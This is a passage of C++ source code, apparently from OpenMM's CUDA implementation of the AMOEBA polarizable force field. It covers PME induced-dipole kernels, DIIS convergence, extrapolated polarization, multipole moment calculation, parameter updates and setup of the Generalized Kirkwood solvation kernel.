cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
void* pmeInducedPotentialArgs[] = {&pmeGrid.getDevicePointer(), &pmePhid.getDevicePointer(), &pmePhip.getDevicePointer(),
&pmePhidp.getDevicePointer(), &cu.getPosq().getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(),
cu.getPeriodicBoxVecZPointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeInducedPotentialKernel, pmeInducedPotentialArgs, cu.getNumAtoms());
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
void* pmeRecordInducedFieldDipolesArgs[] = {&pmePhid.getDevicePointer(), &pmePhip.getDevicePointer(),
&inducedField.getDevicePointer(), &inducedFieldPolar.getDevicePointer(), &inducedDipole.getDevicePointer(),
&inducedDipolePolar.getDevicePointer(), &inducedDipoleFieldGradient.getDevicePointer(), &inducedDipoleFieldGradientPolar.getDevicePointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeRecordInducedFieldDipolesKernel, pmeRecordInducedFieldDipolesArgs, cu.getNumAtoms());
}
else {
void* pmeRecordInducedFieldDipolesArgs[] = {&pmePhid.getDevicePointer(), &pmePhip.getDevicePointer(),
&inducedField.getDevicePointer(), &inducedFieldPolar.getDevicePointer(), &inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeRecordInducedFieldDipolesKernel, pmeRecordInducedFieldDipolesArgs, cu.getNumAtoms());
}
}
}
bool CudaCalcAmoebaMultipoleForceKernel::iterateDipolesByDIIS(int iteration) {
void* npt = NULL;
bool trueValue = true, falseValue = false;
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
// Record the dipoles and errors into the lists of previous dipoles.
if (gkKernel != NULL) {
void* recordDIISDipolesGkArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(), &gkKernel->getField().getDevicePointer(), &gkKernel->getInducedField().getDevicePointer(),
&gkKernel->getInducedFieldPolar().getDevicePointer(), &gkKernel->getInducedDipoles().getDevicePointer(), &gkKernel->getInducedDipolesPolar().getDevicePointer(),
&polarizability.getDevicePointer(), &inducedDipoleErrors.getDevicePointer(), &prevDipolesGk.getDevicePointer(),
&prevDipolesGkPolar.getDevicePointer(), &prevErrors.getDevicePointer(), &iteration, &falseValue, &diisMatrix.getDevicePointer()};
cu.executeKernel(recordDIISDipolesKernel, recordDIISDipolesGkArgs, cu.getNumThreadBlocks()*cu.ThreadBlockSize, cu.ThreadBlockSize, cu.ThreadBlockSize*elementSize*2);
}
void* recordDIISDipolesArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(), &npt, &inducedField.getDevicePointer(),
&inducedFieldPolar.getDevicePointer(), &inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&polarizability.getDevicePointer(), &inducedDipoleErrors.getDevicePointer(), &prevDipoles.getDevicePointer(),
&prevDipolesPolar.getDevicePointer(), &prevErrors.getDevicePointer(), &iteration, &trueValue, &diisMatrix.getDevicePointer()};
cu.executeKernel(recordDIISDipolesKernel, recordDIISDipolesArgs, cu.getNumThreadBlocks()*cu.ThreadBlockSize, cu.ThreadBlockSize, cu.ThreadBlockSize*elementSize*2);
float2* errors = (float2*) cu.getPinnedBuffer();
inducedDipoleErrors.download(errors, false);
cuEventRecord(syncEvent, cu.getCurrentStream());
// Build the DIIS matrix.
int numPrev = (iteration+1 < MaxPrevDIISDipoles ? iteration+1 : MaxPrevDIISDipoles);
void* buildMatrixArgs[] = {&prevErrors.getDevicePointer(), &iteration, &diisMatrix.getDevicePointer()};
int threadBlocks = min(numPrev, cu.getNumThreadBlocks());
int blockSize = 512;
cu.executeKernel(buildMatrixKernel, buildMatrixArgs, threadBlocks*blockSize, blockSize, blockSize*elementSize);
// Solve the matrix.
void* solveMatrixArgs[] = {&iteration, &diisMatrix.getDevicePointer(), &diisCoefficients.getDevicePointer()};
cu.executeKernel(solveMatrixKernel, solveMatrixArgs, 32, 32);
// Determine whether the iteration has converged.
cuEventSynchronize(syncEvent);
double total1 = 0.0, total2 = 0.0;
for (int j = 0; j < inducedDipoleErrors.getSize(); j++) {
total1 += errors[j].x;
total2 += errors[j].y;
}
if (48.033324*sqrt(max(total1, total2)/cu.getNumAtoms()) < inducedEpsilon)
return true;
// Compute the dipoles.
void* updateInducedFieldArgs[] = {&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&prevDipoles.getDevicePointer(), &prevDipolesPolar.getDevicePointer(), &diisCoefficients.getDevicePointer(), &numPrev};
cu.executeKernel(updateInducedFieldKernel, updateInducedFieldArgs, 3*cu.getNumAtoms(), 256);
if (gkKernel != NULL) {
void* updateInducedFieldGkArgs[] = {&gkKernel->getInducedDipoles().getDevicePointer(), &gkKernel->getInducedDipolesPolar().getDevicePointer(),
&prevDipolesGk.getDevicePointer(), &prevDipolesGkPolar.getDevicePointer(), &diisCoefficients.getDevicePointer(), &numPrev};
cu.executeKernel(updateInducedFieldKernel, updateInducedFieldGkArgs, 3*cu.getNumAtoms(), 256);
}
return false;
}
void CudaCalcAmoebaMultipoleForceKernel::computeExtrapolatedDipoles(void** recipBoxVectorPointer) {
// Start by storing the direct dipoles as PT0
if (gkKernel == NULL) {
void* initArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer(), &inducedDipoleFieldGradient.getDevicePointer(), &inducedDipoleFieldGradientPolar.getDevicePointer()};
cu.executeKernel(initExtrapolatedKernel, initArgs, extrapolatedDipole.getSize());
}
else {
void* initArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer(), &inducedDipoleFieldGradient.getDevicePointer(), &inducedDipoleFieldGradientPolar.getDevicePointer(),
&gkKernel->getInducedDipoles().getDevicePointer(), &gkKernel->getInducedDipolesPolar().getDevicePointer(), &extrapolatedDipoleGk.getDevicePointer(),
&extrapolatedDipoleGkPolar.getDevicePointer(), &inducedDipoleFieldGradientGk.getDevicePointer(), &inducedDipoleFieldGradientGkPolar.getDevicePointer()};
cu.executeKernel(initExtrapolatedKernel, initArgs, extrapolatedDipole.getSize());
}
// Recursively apply alpha.Tau to the µ_(n) components to generate µ_(n+1), and store the result
for (int order = 1; order < maxExtrapolationOrder; ++order) {
computeInducedField(recipBoxVectorPointer);
if (gkKernel == NULL) {
void* iterateArgs[] = {&order, &inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedField.getDevicePointer(),
&inducedDipolePolar.getDevicePointer(), &extrapolatedDipolePolar.getDevicePointer(), &inducedFieldPolar.getDevicePointer(),
&inducedDipoleFieldGradient.getDevicePointer(), &inducedDipoleFieldGradientPolar.getDevicePointer(),
&extrapolatedDipoleFieldGradient.getDevicePointer(), &extrapolatedDipoleFieldGradientPolar.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(iterateExtrapolatedKernel, iterateArgs, extrapolatedDipole.getSize());
}
else {
void* iterateArgs[] = {&order, &inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedField.getDevicePointer(),
&inducedDipolePolar.getDevicePointer(), &extrapolatedDipolePolar.getDevicePointer(), &inducedFieldPolar.getDevicePointer(),
&inducedDipoleFieldGradient.getDevicePointer(), &inducedDipoleFieldGradientPolar.getDevicePointer(),
&extrapolatedDipoleFieldGradient.getDevicePointer(), &extrapolatedDipoleFieldGradientPolar.getDevicePointer(),
&gkKernel->getInducedDipoles().getDevicePointer(), &gkKernel->getInducedDipolesPolar().getDevicePointer(), &extrapolatedDipoleGk.getDevicePointer(),
&extrapolatedDipoleGkPolar.getDevicePointer(), &inducedDipoleFieldGradientGk.getDevicePointer(), &inducedDipoleFieldGradientGkPolar.getDevicePointer(),
&gkKernel->getInducedField().getDevicePointer(), &gkKernel->getInducedFieldPolar().getDevicePointer(),
&extrapolatedDipoleFieldGradientGk.getDevicePointer(), &extrapolatedDipoleFieldGradientGkPolar.getDevicePointer(),
&polarizability.getDevicePointer()};
cu.executeKernel(iterateExtrapolatedKernel, iterateArgs, extrapolatedDipole.getSize());
}
}
// Take a linear combination of the µ_(n) components to form the total dipole
if (gkKernel == NULL) {
void* computeArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer()};
cu.executeKernel(computeExtrapolatedKernel, computeArgs, extrapolatedDipole.getSize());
}
else {
void* computeArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer(), &gkKernel->getInducedDipoles().getDevicePointer(), &gkKernel->getInducedDipolesPolar().getDevicePointer(),
&extrapolatedDipoleGk.getDevicePointer(), &extrapolatedDipoleGkPolar.getDevicePointer()};
cu.executeKernel(computeExtrapolatedKernel, computeArgs, extrapolatedDipole.getSize());
}
computeInducedField(recipBoxVectorPointer);
}
void CudaCalcAmoebaMultipoleForceKernel::ensureMultipolesValid(ContextImpl& context) {
if (multipolesAreValid) {
int numParticles = cu.getNumAtoms();
if (cu.getUseDoublePrecision()) {
vector<double4> pos1, pos2;
cu.getPosq().download(pos1);
lastPositions.download(pos2);
for (int i = 0; i < numParticles; i++)
if (pos1[i].x != pos2[i].x || pos1[i].y != pos2[i].y || pos1[i].z != pos2[i].z) {
multipolesAreValid = false;
break;
}
}
else {
vector<float4> pos1, pos2;
cu.getPosq().download(pos1);
lastPositions.download(pos2);
for (int i = 0; i < numParticles; i++)
if (pos1[i].x != pos2[i].x || pos1[i].y != pos2[i].y || pos1[i].z != pos2[i].z) {
multipolesAreValid = false;
break;
}
}
}
if (!multipolesAreValid)
context.calcForcesAndEnergy(false, false, -1);
}
void CudaCalcAmoebaMultipoleForceKernel::getLabFramePermanentDipoles(ContextImpl& context, vector<Vec3>& dipoles) {
ensureMultipolesValid(context);
int numParticles = cu.getNumAtoms();
dipoles.resize(numParticles);
const vector<int>& order = cu.getAtomIndex();
if (cu.getUseDoublePrecision()) {
vector<double> labDipoleVec;
labFrameDipoles.download(labDipoleVec);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(labDipoleVec[3*i], labDipoleVec[3*i+1], labDipoleVec[3*i+2]);
}
else {
vector<float> labDipoleVec;
labFrameDipoles.download(labDipoleVec);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(labDipoleVec[3*i], labDipoleVec[3*i+1], labDipoleVec[3*i+2]);
}
}
void CudaCalcAmoebaMultipoleForceKernel::getInducedDipoles(ContextImpl& context, vector<Vec3>& dipoles) {
ensureMultipolesValid(context);
int numParticles = cu.getNumAtoms();
dipoles.resize(numParticles);
const vector<int>& order = cu.getAtomIndex();
if (cu.getUseDoublePrecision()) {
vector<double> d;
inducedDipole.download(d);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(d[3*i], d[3*i+1], d[3*i+2]);
}
else {
vector<float> d;
inducedDipole.download(d);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(d[3*i], d[3*i+1], d[3*i+2]);
}
}
void CudaCalcAmoebaMultipoleForceKernel::getTotalDipoles(ContextImpl& context, vector<Vec3>& dipoles) {
ensureMultipolesValid(context);
int numParticles = cu.getNumAtoms();
dipoles.resize(numParticles);
const vector<int>& order = cu.getAtomIndex();
if (cu.getUseDoublePrecision()) {
vector<double4> posqVec;
vector<double> labDipoleVec;
vector<double> inducedDipoleVec;
double totalDipoleVecX;
double totalDipoleVecY;
double totalDipoleVecZ;
inducedDipole.download(inducedDipoleVec);
labFrameDipoles.download(labDipoleVec);
cu.getPosq().download(posqVec);
for (int i = 0; i < numParticles; i++) {
totalDipoleVecX = labDipoleVec[3*i] + inducedDipoleVec[3*i];
totalDipoleVecY = labDipoleVec[3*i+1] + inducedDipoleVec[3*i+1];
totalDipoleVecZ = labDipoleVec[3*i+2] + inducedDipoleVec[3*i+2];
dipoles[order[i]] = Vec3(totalDipoleVecX, totalDipoleVecY, totalDipoleVecZ);
}
}
else {
vector<float4> posqVec;
vector<float> labDipoleVec;
vector<float> inducedDipoleVec;
float totalDipoleVecX;
float totalDipoleVecY;
float totalDipoleVecZ;
inducedDipole.download(inducedDipoleVec);
labFrameDipoles.download(labDipoleVec);
cu.getPosq().download(posqVec);
for (int i = 0; i < numParticles; i++) {
totalDipoleVecX = labDipoleVec[3*i] + inducedDipoleVec[3*i];
totalDipoleVecY = labDipoleVec[3*i+1] + inducedDipoleVec[3*i+1];
totalDipoleVecZ = labDipoleVec[3*i+2] + inducedDipoleVec[3*i+2];
dipoles[order[i]] = Vec3(totalDipoleVecX, totalDipoleVecY, totalDipoleVecZ);
}
}
}
void CudaCalcAmoebaMultipoleForceKernel::getElectrostaticPotential(ContextImpl& context, const vector<Vec3>& inputGrid, vector<double>& outputElectrostaticPotential) {
ensureMultipolesValid(context);
int numPoints = inputGrid.size();
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
CudaArray points(cu, numPoints, 4*elementSize, "points");
CudaArray potential(cu, numPoints, elementSize, "potential");
// Copy the grid points to the GPU.
if (cu.getUseDoublePrecision()) {
vector<double4> p(numPoints);
for (int i = 0; i < numPoints; i++)
p[i] = make_double4(inputGrid[i][0], inputGrid[i][1], inputGrid[i][2], 0);
points.upload(p);
}
else {
vector<float4> p(numPoints);
for (int i = 0; i < numPoints; i++)
p[i] = make_float4((float) inputGrid[i][0], (float) inputGrid[i][1], (float) inputGrid[i][2], 0);
points.upload(p);
}
// Compute the potential.
void* computePotentialArgs[] = {&cu.getPosq().getDevicePointer(), &labFrameDipoles.getDevicePointer(),
&labFrameQuadrupoles.getDevicePointer(), &inducedDipole.getDevicePointer(), &points.getDevicePointer(),
&potential.getDevicePointer(), &numPoints, cu.getPeriodicBoxSizePointer(), cu.getInvPeriodicBoxSizePointer(),
cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer()};
int blockSize = 128;
cu.executeKernel(computePotentialKernel, computePotentialArgs, numPoints, blockSize, blockSize*15*elementSize);
outputElectrostaticPotential.resize(numPoints);
if (cu.getUseDoublePrecision())
potential.download(outputElectrostaticPotential);
else {
vector<float> p(numPoints);
potential.download(p);
for (int i = 0; i < numPoints; i++)
outputElectrostaticPotential[i] = p[i];
}
}
template <class T, class T4, class M4>
void CudaCalcAmoebaMultipoleForceKernel::computeSystemMultipoleMoments(ContextImpl& context, vector<double>& outputMultipoleMoments) {
// Compute the local coordinates relative to the center of mass.
int numAtoms = cu.getNumAtoms();
vector<T4> posq;
vector<M4> velm;
cu.getPosq().download(posq);
cu.getVelm().download(velm);
double totalMass = 0.0;
Vec3 centerOfMass(0, 0, 0);
for (int i = 0; i < numAtoms; i++) {
double mass = (velm[i].w > 0 ? 1.0/velm[i].w : 0.0);
totalMass += mass;
centerOfMass[0] += mass*posq[i].x;
centerOfMass[1] += mass*posq[i].y;
centerOfMass[2] += mass*posq[i].z;
}
if (totalMass > 0.0) {
centerOfMass[0] /= totalMass;
centerOfMass[1] /= totalMass;
centerOfMass[2] /= totalMass;
}
vector<double4> posqLocal(numAtoms);
for (int i = 0; i < numAtoms; i++) {
posqLocal[i].x = posq[i].x - centerOfMass[0];
posqLocal[i].y = posq[i].y - centerOfMass[1];
posqLocal[i].z = posq[i].z - centerOfMass[2];
posqLocal[i].w = posq[i].w;
}
// Compute the multipole moments.
double totalCharge = 0.0;
double xdpl = 0.0;
double ydpl = 0.0;
double zdpl = 0.0;
double xxqdp = 0.0;
double xyqdp = 0.0;
double xzqdp = 0.0;
double yxqdp = 0.0;
double yyqdp = 0.0;
double yzqdp = 0.0;
double zxqdp = 0.0;
double zyqdp = 0.0;
double zzqdp = 0.0;
vector<T> labDipoleVec, inducedDipoleVec, quadrupoleVec;
labFrameDipoles.download(labDipoleVec);
inducedDipole.download(inducedDipoleVec);
labFrameQuadrupoles.download(quadrupoleVec);
for (int i = 0; i < numAtoms; i++) {
totalCharge += posqLocal[i].w;
double netDipoleX = (labDipoleVec[3*i] + inducedDipoleVec[3*i]);
double netDipoleY = (labDipoleVec[3*i+1] + inducedDipoleVec[3*i+1]);
double netDipoleZ = (labDipoleVec[3*i+2] + inducedDipoleVec[3*i+2]);
xdpl += posqLocal[i].x*posqLocal[i].w + netDipoleX;
ydpl += posqLocal[i].y*posqLocal[i].w + netDipoleY;
zdpl += posqLocal[i].z*posqLocal[i].w + netDipoleZ;
xxqdp += posqLocal[i].x*posqLocal[i].x*posqLocal[i].w + 2*posqLocal[i].x*netDipoleX;
xyqdp += posqLocal[i].x*posqLocal[i].y*posqLocal[i].w + posqLocal[i].x*netDipoleY + posqLocal[i].y*netDipoleX;
xzqdp += posqLocal[i].x*posqLocal[i].z*posqLocal[i].w + posqLocal[i].x*netDipoleZ + posqLocal[i].z*netDipoleX;
yxqdp += posqLocal[i].y*posqLocal[i].x*posqLocal[i].w + posqLocal[i].y*netDipoleX + posqLocal[i].x*netDipoleY;
yyqdp += posqLocal[i].y*posqLocal[i].y*posqLocal[i].w + 2*posqLocal[i].y*netDipoleY;
yzqdp += posqLocal[i].y*posqLocal[i].z*posqLocal[i].w + posqLocal[i].y*netDipoleZ + posqLocal[i].z*netDipoleY;
zxqdp += posqLocal[i].z*posqLocal[i].x*posqLocal[i].w + posqLocal[i].z*netDipoleX + posqLocal[i].x*netDipoleZ;
zyqdp += posqLocal[i].z*posqLocal[i].y*posqLocal[i].w + posqLocal[i].z*netDipoleY + posqLocal[i].y*netDipoleZ;
zzqdp += posqLocal[i].z*posqLocal[i].z*posqLocal[i].w + 2*posqLocal[i].z*netDipoleZ;
}
// Convert the quadrupole from traced to traceless form.
double qave = (xxqdp + yyqdp + zzqdp)/3;
xxqdp = 1.5*(xxqdp-qave);
xyqdp = 1.5*xyqdp;
xzqdp = 1.5*xzqdp;
yxqdp = 1.5*yxqdp;
yyqdp = 1.5*(yyqdp-qave);
yzqdp = 1.5*yzqdp;
zxqdp = 1.5*zxqdp;
zyqdp = 1.5*zyqdp;
zzqdp = 1.5*(zzqdp-qave);
// Add the traceless atomic quadrupoles to the total quadrupole moment.
for (int i = 0; i < numAtoms; i++) {
xxqdp = xxqdp + 3*quadrupoleVec[5*i];
xyqdp = xyqdp + 3*quadrupoleVec[5*i+1];
xzqdp = xzqdp + 3*quadrupoleVec[5*i+2];
yxqdp = yxqdp + 3*quadrupoleVec[5*i+1];
yyqdp = yyqdp + 3*quadrupoleVec[5*i+3];
yzqdp = yzqdp + 3*quadrupoleVec[5*i+4];
zxqdp = zxqdp + 3*quadrupoleVec[5*i+2];
zyqdp = zyqdp + 3*quadrupoleVec[5*i+4];
zzqdp = zzqdp + -3*(quadrupoleVec[5*i]+quadrupoleVec[5*i+3]);
}
double debye = 4.80321;
outputMultipoleMoments.resize(13);
outputMultipoleMoments[0] = totalCharge;
outputMultipoleMoments[1] = 10.0*xdpl*debye;
outputMultipoleMoments[2] = 10.0*ydpl*debye;
outputMultipoleMoments[3] = 10.0*zdpl*debye;
outputMultipoleMoments[4] = 100.0*xxqdp*debye;
outputMultipoleMoments[5] = 100.0*xyqdp*debye;
outputMultipoleMoments[6] = 100.0*xzqdp*debye;
outputMultipoleMoments[7] = 100.0*yxqdp*debye;
outputMultipoleMoments[8] = 100.0*yyqdp*debye;
outputMultipoleMoments[9] = 100.0*yzqdp*debye;
outputMultipoleMoments[10] = 100.0*zxqdp*debye;
outputMultipoleMoments[11] = 100.0*zyqdp*debye;
outputMultipoleMoments[12] = 100.0*zzqdp*debye;
}
void CudaCalcAmoebaMultipoleForceKernel::getSystemMultipoleMoments(ContextImpl& context, vector<double>& outputMultipoleMoments) {
ensureMultipolesValid(context);
if (cu.getUseDoublePrecision())
computeSystemMultipoleMoments<double, double4, double4>(context, outputMultipoleMoments);
else if (cu.getUseMixedPrecision())
computeSystemMultipoleMoments<float, float4, double4>(context, outputMultipoleMoments);
else
computeSystemMultipoleMoments<float, float4, float4>(context, outputMultipoleMoments);
}
void CudaCalcAmoebaMultipoleForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaMultipoleForce& force) {
// Make sure the new parameters are acceptable.
cu.setAsCurrent();
if (force.getNumMultipoles() != cu.getNumAtoms())
throw OpenMMException("updateParametersInContext: The number of multipoles has changed");
// Record the per-multipole parameters.
cu.getPosq().download(cu.getPinnedBuffer());
float4* posqf = (float4*) cu.getPinnedBuffer();
double4* posqd = (double4*) cu.getPinnedBuffer();
vector<float2> dampingAndTholeVec;
vector<float> polarizabilityVec;
vector<float> molecularDipolesVec;
vector<float> molecularQuadrupolesVec;
vector<int4> multipoleParticlesVec;
for (int i = 0; i < force.getNumMultipoles(); i++) {
double charge, thole, damping, polarity;
int axisType, atomX, atomY, atomZ;
vector<double> dipole, quadrupole;
force.getMultipoleParameters(i, charge, dipole, quadrupole, axisType, atomZ, atomX, atomY, thole, damping, polarity);
if (cu.getUseDoublePrecision())
posqd[i].w = charge;
else
posqf[i].w = (float) charge;
dampingAndTholeVec.push_back(make_float2((float) damping, (float) thole));
polarizabilityVec.push_back((float) polarity);
multipoleParticlesVec.push_back(make_int4(atomX, atomY, atomZ, axisType));
for (int j = 0; j < 3; j++)
molecularDipolesVec.push_back((float) dipole[j]);
molecularQuadrupolesVec.push_back((float) quadrupole[0]);
molecularQuadrupolesVec.push_back((float) quadrupole[1]);
molecularQuadrupolesVec.push_back((float) quadrupole[2]);
molecularQuadrupolesVec.push_back((float) quadrupole[4]);
molecularQuadrupolesVec.push_back((float) quadrupole[5]);
}
if (!hasQuadrupoles) {
for (auto q : molecularQuadrupolesVec)
if (q != 0.0)
throw OpenMMException("updateParametersInContext: Cannot set a non-zero quadrupole moment, because quadrupoles were excluded from the kernel");
}
for (int i = force.getNumMultipoles(); i < cu.getPaddedNumAtoms(); i++) {
dampingAndTholeVec.push_back(make_float2(0, 0));
polarizabilityVec.push_back(0);
multipoleParticlesVec.push_back(make_int4(0, 0, 0, 0));
for (int j = 0; j < 3; j++)
molecularDipolesVec.push_back(0);
for (int j = 0; j < 5; j++)
molecularQuadrupolesVec.push_back(0);
}
dampingAndThole.upload(dampingAndTholeVec);
polarizability.upload(polarizabilityVec);
multipoleParticles.upload(multipoleParticlesVec);
molecularDipoles.upload(molecularDipolesVec);
molecularQuadrupoles.upload(molecularQuadrupolesVec);
cu.getPosq().upload(cu.getPinnedBuffer());
cu.invalidateMolecules();
multipolesAreValid = false;
}
void CudaCalcAmoebaMultipoleForceKernel::getPMEParameters(double& alpha, int& nx, int& ny, int& nz) const {
if (!usePME)
throw OpenMMException("getPMEParametersInContext: This Context is not using PME");
alpha = this->alpha;
nx = gridSizeX;
ny = gridSizeY;
nz = gridSizeZ;
}
/* -------------------------------------------------------------------------- *
* AmoebaGeneralizedKirkwood *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaGeneralizedKirkwoodForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaGeneralizedKirkwoodForce& force) : force(force) {
}
bool areParticlesIdentical(int particle1, int particle2) {
double charge1, charge2, radius1, radius2, scale1, scale2;
force.getParticleParameters(particle1, charge1, radius1, scale1);
force.getParticleParameters(particle2, charge2, radius2, scale2);
return (charge1 == charge2 && radius1 == radius2 && scale1 == scale2);
}
private:
const AmoebaGeneralizedKirkwoodForce& force;
};
CudaCalcAmoebaGeneralizedKirkwoodForceKernel::CudaCalcAmoebaGeneralizedKirkwoodForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaGeneralizedKirkwoodForceKernel(name, platform), cu(cu), system(system), hasInitializedKernels(false) {
}
void CudaCalcAmoebaGeneralizedKirkwoodForceKernel::initialize(const System& system, const AmoebaGeneralizedKirkwoodForce& force) {
cu.setAsCurrent();
if (cu.getPlatformData().contexts.size() > 1)
throw OpenMMException("AmoebaGeneralizedKirkwoodForce does not support using multiple CUDA devices");
const AmoebaMultipoleForce* multipoles = NULL;
for (int i = 0; i < system.getNumForces() && multipoles == NULL; i++)
multipoles = dynamic_cast<const AmoebaMultipoleForce*>(&system.getForce(i));
if (multipoles == NULL)
throw OpenMMException("AmoebaGeneralizedKirkwoodForce requires the System to also contain an AmoebaMultipoleForce");
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
int paddedNumAtoms = cu.getPaddedNumAtoms();
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
params.initialize<float2>(cu, paddedNumAtoms, "amoebaGkParams");
bornRadii .initialize(cu, paddedNumAtoms, elementSize, "bornRadii");
field .initialize(cu, 3*paddedNumAtoms, sizeof(long long), "gkField");
bornSum.initialize<long long>(cu, paddedNumAtoms, "bornSum");
bornForce.initialize<long long>(cu, paddedNumAtoms, "bornForce");
inducedDipoleS .initialize(cu, 3*paddedNumAtoms, elementSize, "inducedDipoleS");
inducedDipolePolarS .initialize(cu, 3*paddedNumAtoms, elementSize, "inducedDipolePolarS");
polarizationType = multipoles->getPolarizationType();
if (polarizationType != AmoebaMultipoleForce::Direct) {
inducedField .initialize(cu, 3*paddedNumAtoms, sizeof(long long), "gkInducedField");
inducedFieldPolar .initialize(cu, 3*paddedNumAtoms, sizeof(long long), "gkInducedFieldPolar");
}
cu.addAutoclearBuffer(field);
cu.addAutoclearBuffer(bornSum);
cu.addAutoclearBuffer(bornForce);
vector<float2> paramsVector(paddedNumAtoms);
for (int i = 0; i < force.getNumParticles(); i++) {
double charge, radius, scalingFactor;
force.getParticleParameters(i, charge, radius, scalingFactor);
paramsVector[i] = make_float2((float) radius, (float) (scalingFactor*radius));
// Make sure the charge matches the one specified by the AmoebaMultipoleForce.
double charge2, thole, damping, polarity;
int axisType, atomX, atomY, atomZ;
vector<double> dipole, quadrupole;
multipoles->getMultipoleParameters(i, charge2, dipole, quadrupole, axisType, atomZ, atomX, atomY, thole, damping, polarity);
if (charge != charge2)
throw OpenMMException("AmoebaGeneralizedKirkwoodForce and AmoebaMultipoleForce must specify the same charge for every atom");
}
params.upload(paramsVector);
// Select the number of threads for each kernel.
double computeBornSumThreadMemory = 4*elementSize+3*sizeof(float);
double gkForceThreadMemory = 24*elementSize;
double chainRuleThreadMemory = 10*elementSize;
double ediffThreadMemory = 28*elementSize+2*sizeof(float)+3*sizeof(int)/(double) cu.TileSize;
int maxThreads = cu.getNonbondedUtilities().getForceThreadBlockSize();
computeBornSumThreads = min(maxThreads, cu.computeThreadBlockSize(computeBornSumThreadMemory));
gkForceThreads = min(maxThreads, cu.computeThreadBlockSize(gkForceThreadMemory));
chainRuleThreads = min(maxThreads, cu.computeThreadBlockSize(chainRuleThreadMemory));
ediffThreads = min(maxThreads, cu.computeThreadBlockSize(ediffThreadMemory));
// Set preprocessor macros we will use when we create the kernels.
defines["NUM_ATOMS"] = cu.intToString(cu.getNumAtoms());
defines["PADDED_NUM_ATOMS"] = cu.intToString(paddedNumAtoms);
defines["BORN_SUM_THREAD_BLOCK_SIZE"] = cu.intToString(computeBornSumThreads);
defines["GK_FORCE_THREAD_BLOCK_SIZE"] = cu.intToString(gkForceThreads);
defines["CHAIN_RULE_THREAD_BLOCK_SIZE"] = cu.intToString(chainRuleThreads);
defines["EDIFF_THREAD_BLOCK_SIZE"] = cu.intToString(ediffThreads);
defines["NUM_BLOCKS"] = cu.intToString(cu.getNumAtomBlocks());
defines["GK_C"] = cu.doubleToString(2.455);
double solventDielectric = force.getSolventDielectric();
defines["GK_FC"] = cu.doubleToString(1*(1-solventDielectric)/(0+1*solventDielectric));
defines["GK_FD"] = cu.doubleToString(2*(1-solventDielectric)/(1+2*solventDielectric));
defines["GK_FQ"] = cu.doubleToString(3*(1-solventDielectric)/(2+3*solventDielectric));
defines["EPSILON_FACTOR"] = cu.doubleToString(138.9354558456);
defines["M_PI"] = cu.doubleToString(M_PI);
defines["ENERGY_SCALE_FACTOR"] = cu.doubleToString(138.9354558456/force.getSoluteDielectric());
if (polarizationType == AmoebaMultipoleForce::Direct)
defines["DIRECT_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Mutual)
defines["MUTUAL_POLARIZATION"] = "";
else if (polarizationType == AmoebaMultipoleForce::Extrapolated)
defines["EXTRAPOLATED_POLARIZATION"] = "";
includeSurfaceArea = force.getIncludeCavityTerm();
if (includeSurfaceArea) {
defines["SURFACE_AREA_FACTOR"] = cu.doubleToString(force.getSurfaceAreaFactor());
defines["PROBE_RADIUS"] = cu.doubleToString(force.getProbeRadius());
defines["DIELECTRIC_OFFSET"] = cu.doubleToString(0.009);
}
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaGeneralizedKirkwoodForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
// Since GK is so tightly entwined with the electrostatics, this method does nothing, and the force calculation
// is driven by AmoebaMultipoleForce.
return 0.0;
}
void CudaCalcAmoebaGeneralizedKirkwoodForceKernel::computeBornRadii() {
if (!hasInitializedKernels) {
hasInitializedKernels = true;
// Create the kernels.
int numExclusionTiles = cu.getNonbondedUtilities().getExclusionTiles().getSize();
defines["NUM_TILES_WITH_EXCLUSIONS"] = cu.intToString(numExclusionTiles);
int numContexts = cu.getPlatformData().contexts.size();
